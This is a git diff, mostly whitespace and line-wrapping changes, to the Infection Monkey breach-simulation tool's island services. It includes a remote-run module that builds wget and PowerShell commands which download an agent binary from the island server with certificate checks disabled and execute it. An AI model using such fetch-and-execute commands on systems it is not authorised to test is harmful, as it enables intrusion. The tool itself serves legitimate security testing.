island_id = ObjectId("000000000000000000000000") monkey_label = NodeService.get_label_for_endpoint(monkey_id) island_label = NodeService.get_label_for_endpoint(island_id) island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge( - edge_id=fake_id, - src_node_id=monkey_id, - dst_node_id=island_id, - src_label=monkey_label, - dst_label=island_label, + edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=island_id, + src_label=monkey_label, + dst_label=island_label, ) edges.append(island_pseudo_edge) return edges @@ -53,24 +54,25 @@ def _get_infected_island_net_edges(monkey_island_monkey): x.id for x in Monkey.objects() if ("tunnel" not in x) - and (x.id not in existing_ids) - and (x.id != monkey_island_monkey["_id"]) + and (x.id not in existing_ids) + and (x.id != monkey_island_monkey["_id"]) ] edges = [] count = 0 for monkey_id in monkey_ids: count += 1 - # generating fake ID, because front end requires unique ID's for each edge. Collision improbable + # generating fake ID, because front end requires unique ID's for each edge. Collision + # improbable fake_id = ObjectId(hex(count)[2:].zfill(24)) src_label = NodeService.get_label_for_endpoint(monkey_id) dst_label = NodeService.get_label_for_endpoint(monkey_island_monkey["_id"]) edge = DisplayedEdgeService.generate_pseudo_edge( - edge_id=fake_id, - src_node_id=monkey_id, - dst_node_id=monkey_island_monkey["_id"], - src_label=src_label, - dst_label=dst_label, + edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=monkey_island_monkey["_id"], + src_label=src_label, + dst_label=dst_label, ) edges.append(edge) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 2c1fe731a18..4f50fc44661 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -25,7 +25,7 @@ def get_displayed_node_by_id(node_id, for_report=False): if ObjectId(node_id) == NodeService.get_monkey_island_pseudo_id(): return NodeService.get_monkey_island_node() - new_node = {"id": node_id} + new_node = {"id":node_id} node = NodeService.get_node_by_id(node_id) if node is None: @@ -63,7 +63,7 @@ def get_displayed_node_by_id(node_id, for_report=False): edge_exploit["origin"] = from_node_label exploits.append(edge_exploit) - exploits = sorted(exploits, key=lambda exploit: exploit["timestamp"]) + exploits = sorted(exploits, key=lambda exploit:exploit["timestamp"]) new_node["exploits"] = exploits new_node["accessible_from_nodes"] = accessible_from_nodes @@ -111,7 +111,7 @@ def get_monkey_label_by_id(monkey_id): @staticmethod def get_monkey_critical_services(monkey_id): critical_services = mongo.db.monkey.find_one( - {"_id": monkey_id}, {"critical_services": 1} + {"_id":monkey_id}, {"critical_services":1} ).get("critical_services", []) return critical_services @@ -156,34 +156,35 @@ def monkey_to_net_node(monkey, for_report=False): ) monkey_group = NodeService.get_monkey_group(monkey) return { - "id": monkey_id, - "label": label, - "group": monkey_group, - "os": NodeService.get_monkey_os(monkey), - # The monkey is running IFF the group contains "_running". Therefore it's dead IFF the group does NOT + "id":monkey_id, + "label":label, + "group":monkey_group, + "os":NodeService.get_monkey_os(monkey), + # The monkey is running IFF the group contains "_running". Therefore it's dead IFF + # the group does NOT # contain "_running". This is a small optimisation, to not call "is_dead" twice. - "dead": "_running" not in monkey_group, - "domain_name": "", - "pba_results": monkey["pba_results"] if "pba_results" in monkey else [], + "dead":"_running" not in monkey_group, + "domain_name":"", + "pba_results":monkey["pba_results"] if "pba_results" in monkey else [], } @staticmethod def node_to_net_node(node, for_report=False): label = node["os"]["version"] if for_report else NodeService.get_node_label(node) return { - "id": node["_id"], - "label": label, - "group": NodeService.get_node_group(node), - "os": NodeService.get_node_os(node), + "id":node["_id"], + "label":label, + "group":NodeService.get_node_group(node), + "os":NodeService.get_node_os(node), } @staticmethod def set_node_group(node_id: str, node_group: NodeStates): - mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False) + mongo.db.node.update({"_id":node_id}, {"$set":{"group":node_group.value}}, upsert=False) @staticmethod def unset_all_monkey_tunnels(monkey_id): - mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False) + mongo.db.monkey.update({"_id":monkey_id}, {"$unset":{"tunnel":""}}, upsert=False) edges = EdgeService.get_tunnel_edges_by_src(monkey_id) for edge in edges: @@ -194,15 +195,15 @@ def set_monkey_tunnel(monkey_id, tunnel_host_ip): tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"] NodeService.unset_all_monkey_tunnels(monkey_id) mongo.db.monkey.update( - {"_id": monkey_id}, {"$set": {"tunnel": tunnel_host_id}}, upsert=False + {"_id":monkey_id}, {"$set":{"tunnel":tunnel_host_id}}, upsert=False ) monkey_label = NodeService.get_label_for_endpoint(monkey_id) tunnel_host_label = NodeService.get_label_for_endpoint(tunnel_host_id) tunnel_edge = EdgeService.get_or_create_edge( - src_node_id=monkey_id, - dst_node_id=tunnel_host_id, - src_label=monkey_label, - dst_label=tunnel_host_label, + src_node_id=monkey_id, + dst_node_id=tunnel_host_id, + src_label=monkey_label, + dst_label=tunnel_host_label, ) tunnel_edge.tunnel = True tunnel_edge.ip_address = tunnel_host_ip @@ -211,50 +212,50 @@ def set_monkey_tunnel(monkey_id, tunnel_host_ip): @staticmethod def insert_node(ip_address, domain_name=""): new_node_insert_result = mongo.db.node.insert_one( - { - "ip_addresses": [ip_address], - "domain_name": domain_name, - "exploited": False, - "creds": [], - "os": {"type": "unknown", "version": "unknown"}, - } + { + "ip_addresses":[ip_address], + "domain_name":domain_name, + "exploited":False, + "creds":[], + "os":{"type":"unknown", "version":"unknown"}, + } ) - return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) + return mongo.db.node.find_one({"_id":new_node_insert_result.inserted_id}) @staticmethod def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool): new_node_insert_result = mongo.db.node.insert_one( - { - "ip_addresses": bootloader_telem["ips"], - "domain_name": bootloader_telem["hostname"], - "will_monkey_run": will_monkey_run, - "exploited": False, - "creds": [], - "os": { - "type": bootloader_telem["system"], - "version": bootloader_telem["os_version"], - }, - } + { + "ip_addresses":bootloader_telem["ips"], + "domain_name":bootloader_telem["hostname"], + "will_monkey_run":will_monkey_run, + "exploited":False, + "creds":[], + "os":{ + "type":bootloader_telem["system"], + "version":bootloader_telem["os_version"], + }, + } ) - return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) + return mongo.db.node.find_one({"_id":new_node_insert_result.inserted_id}) @staticmethod def get_or_create_node_from_bootloader_telem( - bootloader_telem: Dict, will_monkey_run: bool + bootloader_telem: Dict, will_monkey_run: bool ) -> Dict: if is_local_ips(bootloader_telem["ips"]): raise NodeCreationException("Bootloader ran on island, no need to create new node.") - new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) + new_node = mongo.db.node.find_one({"ip_addresses":{"$in":bootloader_telem["ips"]}}) # Temporary workaround to not create a node after monkey finishes - monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) + monkey_node = mongo.db.monkey.find_one({"ip_addresses":{"$in":bootloader_telem["ips"]}}) if monkey_node: # Don't create new node, monkey node is already present return monkey_node if new_node is None: new_node = NodeService.create_node_from_bootloader_telem( - bootloader_telem, will_monkey_run + bootloader_telem, will_monkey_run ) if bootloader_telem["tunnel"]: dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem["tunnel"]) @@ -263,10 +264,10 @@ def get_or_create_node_from_bootloader_telem( src_label = NodeService.get_label_for_endpoint(new_node["_id"]) dst_label = NodeService.get_label_for_endpoint(dst_node["id"]) edge = EdgeService.get_or_create_edge( - src_node_id=new_node["_id"], - dst_node_id=dst_node["id"], - src_label=src_label, - dst_label=dst_label, + src_node_id=new_node["_id"], + dst_node_id=dst_node["id"], + src_label=src_label, + dst_label=dst_label, ) edge.tunnel = bool(bootloader_telem["tunnel"]) edge.ip_address = bootloader_telem["ips"][0] @@ -276,51 +277,51 @@ def get_or_create_node_from_bootloader_telem( @staticmethod def get_or_create_node(ip_address, domain_name=""): - new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) + new_node = mongo.db.node.find_one({"ip_addresses":ip_address}) if new_node is None: new_node = NodeService.insert_node(ip_address, domain_name) return new_node @staticmethod def get_monkey_by_id(monkey_id): - return mongo.db.monkey.find_one({"_id": ObjectId(monkey_id)}) + return mongo.db.monkey.find_one({"_id":ObjectId(monkey_id)}) @staticmethod def get_monkey_by_guid(monkey_guid): - return mongo.db.monkey.find_one({"guid": monkey_guid}) + return mongo.db.monkey.find_one({"guid":monkey_guid}) @staticmethod def get_monkey_by_ip(ip_address): - return mongo.db.monkey.find_one({"ip_addresses": ip_address}) + return mongo.db.monkey.find_one({"ip_addresses":ip_address}) @staticmethod def get_node_by_ip(ip_address): - return mongo.db.node.find_one({"ip_addresses": ip_address}) + return mongo.db.node.find_one({"ip_addresses":ip_address}) @staticmethod def get_node_by_id(node_id): - return mongo.db.node.find_one({"_id": ObjectId(node_id)}) + return mongo.db.node.find_one({"_id":ObjectId(node_id)}) @staticmethod def update_monkey_modify_time(monkey_id): mongo.db.monkey.update( - {"_id": monkey_id}, {"$set": {"modifytime": datetime.now()}}, upsert=False + {"_id":monkey_id}, {"$set":{"modifytime":datetime.now()}}, upsert=False ) @staticmethod def set_monkey_dead(monkey, is_dead): - props_to_set = {"dead": is_dead} + props_to_set = {"dead":is_dead} # Cancel the force kill once monkey died if is_dead: props_to_set["config.alive"] = True - mongo.db.monkey.update({"guid": monkey["guid"]}, {"$set": props_to_set}, upsert=False) + mongo.db.monkey.update({"guid":monkey["guid"]}, {"$set":props_to_set}, upsert=False) @staticmethod def add_communication_info(monkey, info): mongo.db.monkey.update( - {"guid": monkey["guid"]}, {"$set": {"command_control_channel": info}}, upsert=False + {"guid":monkey["guid"]}, {"$set":{"command_control_channel":info}}, upsert=False ) @staticmethod @@ -339,9 +340,9 @@ def get_monkey_island_pseudo_id(): @staticmethod def get_monkey_island_pseudo_net_node(): return { - "id": NodeService.get_monkey_island_pseudo_id(), - "label": "MonkeyIsland", - "group": "island", + "id":NodeService.get_monkey_island_pseudo_id(), + "label":"MonkeyIsland", + "group":"island", } @staticmethod @@ -353,22 +354,22 @@ def get_monkey_island_node(): @staticmethod def set_node_exploited(node_id): - mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}}) + mongo.db.node.update({"_id":node_id}, {"$set":{"exploited":True}}) @staticmethod def update_dead_monkeys(): # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes if mongo.db.monkey.find_one( - {"dead": {"$ne": True}, "keepalive": {"$gte": datetime.now() - timedelta(minutes=10)}} + {"dead":{"$ne":True}, "keepalive":{"$gte":datetime.now() - timedelta(minutes=10)}} ): return # config.alive is changed to true to cancel the force kill of dead monkeys mongo.db.monkey.update( - {"keepalive": {"$lte": datetime.now() - timedelta(minutes=10)}, "dead": {"$ne": True}}, - {"$set": {"dead": True, "config.alive": True, "modifytime": datetime.now()}}, - upsert=False, - multi=True, + {"keepalive":{"$lte":datetime.now() - timedelta(minutes=10)}, "dead":{"$ne":True}}, + {"$set":{"dead":True, "config.alive":True, "modifytime":datetime.now()}}, + upsert=False, + multi=True, ) @staticmethod @@ -386,11 +387,11 @@ def is_monkey_finished_running(): @staticmethod def add_credentials_to_monkey(monkey_id, creds): - mongo.db.monkey.update({"_id": monkey_id}, {"$push": {"creds": creds}}) + mongo.db.monkey.update({"_id":monkey_id}, {"$push":{"creds":creds}}) @staticmethod def add_credentials_to_node(node_id, creds): - mongo.db.node.update({"_id": node_id}, {"$push": {"creds": creds}}) + mongo.db.node.update({"_id":node_id}, {"$push":{"creds":creds}}) @staticmethod def get_node_or_monkey_by_ip(ip_address): @@ -413,7 +414,7 @@ def get_node_hostname(node): @staticmethod def get_hostname_by_id(node_id): return NodeService.get_node_hostname( - mongo.db.monkey.find_one({"_id": node_id}, {"hostname": 1}) + mongo.db.monkey.find_one({"_id":node_id}, {"hostname":1}) ) @staticmethod diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 4215227eadd..b8411470d76 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -15,17 +15,16 @@ PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] UPLOADS_DIR_NAME = "userUploads" - ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, "cc", UPLOADS_DIR_NAME) def remove_PBA_files(): if monkey_island.cc.services.config.ConfigService.get_config(): windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_WINDOWS_FILENAME_PATH + PBA_WINDOWS_FILENAME_PATH ) linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_LINUX_FILENAME_PATH + PBA_LINUX_FILENAME_PATH ) if linux_filename: remove_file(linux_filename) @@ -49,10 +48,10 @@ def set_config_PBA_files(config_json): """ if monkey_island.cc.services.config.ConfigService.get_config(): linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_LINUX_FILENAME_PATH + PBA_LINUX_FILENAME_PATH ) windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_WINDOWS_FILENAME_PATH + PBA_WINDOWS_FILENAME_PATH ) config_json["monkey"]["post_breach"]["PBA_linux_filename"] = linux_filename config_json["monkey"]["post_breach"]["PBA_windows_filename"] = windows_filename diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index e640110e008..7ed0d1b0446 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -46,14 +46,14 @@ def run_aws_monkeys(instances, island_ip): """ instances_bitness = RemoteRunAwsService.get_bitness(instances) return CmdRunner.run_multiple_commands( - instances, - lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async( - instance["instance_id"], - RemoteRunAwsService._is_linux(instance["os"]), - island_ip, - instances_bitness[instance["instance_id"]], - ), - lambda _, result: result.is_success, + instances, + lambda instance:RemoteRunAwsService.run_aws_monkey_cmd_async( + instance["instance_id"], + RemoteRunAwsService._is_linux(instance["os"]), + island_ip, + instances_bitness[instance["instance_id"]], + ), + lambda _, result:result.is_success, ) @staticmethod @@ -72,16 +72,17 @@ def get_bitness(instances): """ For all given instances, checks whether they're 32 or 64 bit. :param instances: List of instances to check - :return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, False otherwise + :return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, + False otherwise """ return CmdRunner.run_multiple_commands( - instances, - lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async( - instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"]) - ), - lambda instance, result: RemoteRunAwsService._get_bitness_by_result( - RemoteRunAwsService._is_linux(instance["os"]), result - ), + instances, + lambda instance:RemoteRunAwsService.run_aws_bitness_cmd_async( + instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"]) + ), + lambda instance, result:RemoteRunAwsService._get_bitness_by_result( + RemoteRunAwsService._is_linux(instance["os"]), result + ), ) @staticmethod @@ -92,7 +93,7 @@ def _get_bitness_by_result(is_linux, result): return result.stdout.find("i686") == -1 # i686 means 32bit else: return ( - result.stdout.lower().find("programfiles(x86)") != -1 + result.stdout.lower().find("programfiles(x86)") != -1 ) # if not found it means 32bit @staticmethod @@ -131,30 +132,30 @@ def _is_linux(os): @staticmethod def _get_run_monkey_cmd_linux_line(bit_text, island_ip): return ( - r"wget --no-check-certificate https://" - + island_ip - + r":5000/api/monkey/download/monkey-linux-" - + bit_text - + r"; chmod +x monkey-linux-" - + bit_text - + r"; ./monkey-linux-" - + bit_text - + r" m0nk3y -s " - + island_ip - + r":5000" + r"wget --no-check-certificate https://" + + island_ip + + r":5000/api/monkey/download/monkey-linux-" + + bit_text + + r"; chmod +x monkey-linux-" + + bit_text + + r"; ./monkey-linux-" + + bit_text + + r" m0nk3y -s " + + island_ip + + r":5000" ) @staticmethod def _get_run_monkey_cmd_windows_line(bit_text, island_ip): return ( - r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" - r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" - + island_ip - + r":5000/api/monkey/download/monkey-windows-" - + bit_text - + r".exe','.\\monkey.exe'); " - r";Start-Process -FilePath '.\\monkey.exe' " - r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" + r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + + island_ip + + r":5000/api/monkey/download/monkey-windows-" + + bit_text + + r".exe','.\\monkey.exe'); " + r";Start-Process -FilePath '.\\monkey.exe' " + r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " ) @staticmethod diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 1505b63aa1a..da441aa4e17 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -48,30 +48,30 @@ def merge_two_dicts(x, y): @staticmethod def _prepare_finding(issue, region): findings_dict = { - "island_cross_segment": AWSExporter._handle_island_cross_segment_issue, - "ssh": AWSExporter._handle_ssh_issue, - "shellshock": AWSExporter._handle_shellshock_issue, - "tunnel": AWSExporter._handle_tunnel_issue, - "elastic": AWSExporter._handle_elastic_issue, - "smb_password": AWSExporter._handle_smb_password_issue, - "smb_pth": AWSExporter._handle_smb_pth_issue, - "sambacry": AWSExporter._handle_sambacry_issue, - "shared_passwords": AWSExporter._handle_shared_passwords_issue, - "wmi_password": AWSExporter._handle_wmi_password_issue, - "wmi_pth": AWSExporter._handle_wmi_pth_issue, - "ssh_key": AWSExporter._handle_ssh_key_issue, - "shared_passwords_domain": AWSExporter._handle_shared_passwords_domain_issue, - "shared_admins_domain": AWSExporter._handle_shared_admins_domain_issue, - "strong_users_on_crit": AWSExporter._handle_strong_users_on_crit_issue, - "struts2": AWSExporter._handle_struts2_issue, - "weblogic": AWSExporter._handle_weblogic_issue, - "hadoop": AWSExporter._handle_hadoop_issue, + "island_cross_segment":AWSExporter._handle_island_cross_segment_issue, + "ssh":AWSExporter._handle_ssh_issue, + "shellshock":AWSExporter._handle_shellshock_issue, + "tunnel":AWSExporter._handle_tunnel_issue, + "elastic":AWSExporter._handle_elastic_issue, + "smb_password":AWSExporter._handle_smb_password_issue, + "smb_pth":AWSExporter._handle_smb_pth_issue, + "sambacry":AWSExporter._handle_sambacry_issue, + "shared_passwords":AWSExporter._handle_shared_passwords_issue, + "wmi_password":AWSExporter._handle_wmi_password_issue, + "wmi_pth":AWSExporter._handle_wmi_pth_issue, + "ssh_key":AWSExporter._handle_ssh_key_issue, + "shared_passwords_domain":AWSExporter._handle_shared_passwords_domain_issue, + "shared_admins_domain":AWSExporter._handle_shared_admins_domain_issue, + "strong_users_on_crit":AWSExporter._handle_strong_users_on_crit_issue, + "struts2":AWSExporter._handle_struts2_issue, + "weblogic":AWSExporter._handle_weblogic_issue, + "hadoop":AWSExporter._handle_hadoop_issue, # azure and conficker are not relevant issues for an AWS env } configured_product_arn = INFECTION_MONKEY_ARN product_arn = "arn:aws:securityhub:{region}:{arn}".format( - region=region, arn=configured_product_arn + region=region, arn=configured_product_arn ) instance_arn = "arn:aws:ec2:" + str(region) + ":instance:{instance_id}" # Not suppressing error here on purpose. @@ -79,18 +79,18 @@ def _prepare_finding(issue, region): logger.debug("aws account id acquired: {}".format(account_id)) finding = { - "SchemaVersion": "2018-10-08", - "Id": uuid.uuid4().hex, - "ProductArn": product_arn, - "GeneratorId": issue["type"], - "AwsAccountId": account_id, - "RecordState": "ACTIVE", - "Types": ["Software and Configuration Checks/Vulnerabilities/CVE"], - "CreatedAt": datetime.now().isoformat() + "Z", - "UpdatedAt": datetime.now().isoformat() + "Z", + "SchemaVersion":"2018-10-08", + "Id":uuid.uuid4().hex, + "ProductArn":product_arn, + "GeneratorId":issue["type"], + "AwsAccountId":account_id, + "RecordState":"ACTIVE", + "Types":["Software and Configuration Checks/Vulnerabilities/CVE"], + "CreatedAt":datetime.now().isoformat() + "Z", + "UpdatedAt":datetime.now().isoformat() + "Z", } return AWSExporter.merge_two_dicts( - finding, findings_dict[issue["type"]](issue, instance_arn) + finding, findings_dict[issue["type"]](issue, instance_arn) ) @staticmethod @@ -101,7 +101,8 @@ def _send_findings(findings_list, region): logger.debug("Client acquired: {0}".format(repr(security_hub_client))) # Assumes the machine has the correct IAM role to do this, @see - # https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances + # https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS + # -EC2-instances import_response = security_hub_client.batch_import_findings(Findings=findings_list) logger.debug("Import findings response: {0}".format(repr(import_response))) @@ -111,9 +112,8 @@ def _send_findings(findings_list, region): return False except UnknownServiceError as e: logger.warning( - "AWS exporter called but AWS-CLI security hub service is not installed. Error: {}".format( - e - ) + "AWS exporter called but AWS-CLI security hub service is not installed. " + "Error: {}".format(e) ) return False except Exception as e: @@ -123,20 +123,20 @@ def _send_findings(findings_list, region): @staticmethod def _get_finding_resource(instance_id, instance_arn): if instance_id: - return [{"Type": "AwsEc2Instance", "Id": instance_arn.format(instance_id=instance_id)}] + return [{"Type":"AwsEc2Instance", "Id":instance_arn.format(instance_id=instance_id)}] else: - return [{"Type": "Other", "Id": "None"}] + return [{"Type":"Other", "Id":"None"}] @staticmethod def _build_generic_finding( - severity, title, description, recommendation, instance_arn, instance_id=None + severity, title, description, recommendation, instance_arn, instance_id=None ): finding = { - "Severity": {"Product": severity, "Normalized": 100}, - "Resources": AWSExporter._get_finding_resource(instance_id, instance_arn), - "Title": title, - "Description": description, - "Remediation": {"Recommendation": {"Text": recommendation}}, + "Severity":{"Product":severity, "Normalized":100}, + "Resources":AWSExporter._get_finding_resource(instance_id, instance_arn), + "Title":title, + "Description":description, + "Remediation":{"Recommendation":{"Text":recommendation}}, } return finding @@ -145,276 +145,322 @@ def _build_generic_finding( def _handle_tunnel_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=5, - title="Weak segmentation - Machines were able to communicate over unused ports.", - description="Use micro-segmentation policies to disable communication other than the required.", - recommendation="Machines are not locked down at port level. " - "Network tunnel was set up from {0} to {1}".format(issue["machine"], issue["dest"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=5, + title="Weak segmentation - Machines were able to communicate over unused ports.", + description="Use micro-segmentation policies to disable communication other than " + "the required.", + recommendation="Machines are not locked down at port level. " + "Network tunnel was set up from {0} to {1}".format(issue["machine"], + issue["dest"]), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_sambacry_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Samba servers are vulnerable to 'SambaCry'", - description="Change {0} password to a complex one-use password that is not shared with other computers on the " - "network. Update your Samba server to 4.4.14 and up, " - "4.5.10 and up, or 4.6.4 and up.".format(issue["username"]), - recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB " - "protocol with user {2} and its password, and used the SambaCry " - "vulnerability.".format(issue["machine"], issue["ip_address"], issue["username"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Samba servers are vulnerable to 'SambaCry'", + description="Change {0} password to a complex one-use password that is not shared " + "with other computers on the " + "network. Update your Samba server to 4.4.14 and up, " + "4.5.10 and up, or 4.6.4 and up.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The " + "Monkey authenticated over the SMB " + "protocol with user {2} and its password, and used the SambaCry " + "vulnerability.".format(issue["machine"], issue["ip_address"], + issue["username"]), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_smb_pth_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=5, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue["username"]), - recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over " - "SMB protocol with user {2}.".format( - issue["machine"], issue["ip_address"], issue["username"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=5, + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey " + "used a pass-the-hash attack over " + "SMB protocol with user {2}.".format( + issue["machine"], issue["ip_address"], issue["username"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_ssh_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue["username"]), - recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH" - " protocol with user {2} and its " - "password.".format(issue["machine"], issue["ip_address"], issue["username"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during " + "the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey " + "authenticated over the SSH" + " protocol with user {2} and its " + "password.".format(issue["machine"], issue["ip_address"], + issue["username"]), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_ssh_key_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - description="Protect {ssh_key} private key with a pass phrase.".format( - ssh_key=issue["ssh_key"] - ), - recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated " - "over the SSH protocol with private key {ssh_key}.".format( - machine=issue["machine"], ip_address=issue["ip_address"], ssh_key=issue["ssh_key"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during " + "the Monkey's configuration.", + description="Protect {ssh_key} private key with a pass phrase.".format( + ssh_key=issue["ssh_key"] + ), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH " + "attack. The Monkey authenticated " + "over the SSH protocol with private key {ssh_key}.".format( + machine=issue["machine"], ip_address=issue["ip_address"], + ssh_key=issue["ssh_key"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_elastic_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Elastic Search servers are vulnerable to CVE-2015-1427", - description="Update your Elastic Search server to version 1.4.3 and up.", - recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made " - "possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue["machine"], issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Elastic Search servers are vulnerable to CVE-2015-1427", + description="Update your Elastic Search server to version 1.4.3 and up.", + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. " + "The attack was made " + "possible because the Elastic Search server was not patched " + "against CVE-2015-1427.".format(issue["machine"], + issue["ip_address"]), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_island_cross_segment_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Weak segmentation - Machines from different segments are able to communicate.", - description="Segment your network and make sure there is no communication between machines from different " - "segments.", - recommendation="The network can probably be segmented. A monkey instance on \ + severity=1, + title="Weak segmentation - Machines from different segments are able to " + "communicate.", + description="Segment your network and make sure there is no communication between " + "machines from different " + "segments.", + recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format( - issue["machine"], issue["networks"], issue["server_networks"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + issue["machine"], issue["networks"], issue["server_networks"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_shared_passwords_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Multiple users have the same password", - description="Some users are sharing passwords, this should be fixed by changing passwords.", - recommendation="These users are sharing access password: {0}.".format( - issue["shared_with"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Multiple users have the same password", + description="Some users are sharing passwords, this should be fixed by changing " + "passwords.", + recommendation="These users are sharing access password: {0}.".format( + issue["shared_with"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_shellshock_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Machines are vulnerable to 'Shellshock'", - description="Update your Bash to a ShellShock-patched version.", - recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a " - "shell injection attack on the paths: {3}.".format( - 